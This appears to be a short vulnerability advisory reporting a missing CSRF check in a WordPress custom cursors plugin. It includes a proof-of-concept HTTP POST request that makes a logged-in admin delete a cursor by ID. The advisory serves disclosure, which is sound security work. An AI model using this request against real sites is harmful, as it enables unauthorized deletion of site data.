The plugin does not have Cross-Site Request Forgery (CSRF) check in place when deleting cursors, which could allow attackers to made a logged in admin delete arbitrary cursors via a Cross-Site Request Forgery (CSRF) attack.
Proof of Concept
POST /wp-admin/admin.php?page=wp_custom_cursors HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
submit&delete_row=1
This will make them delete the cursor with ID 1.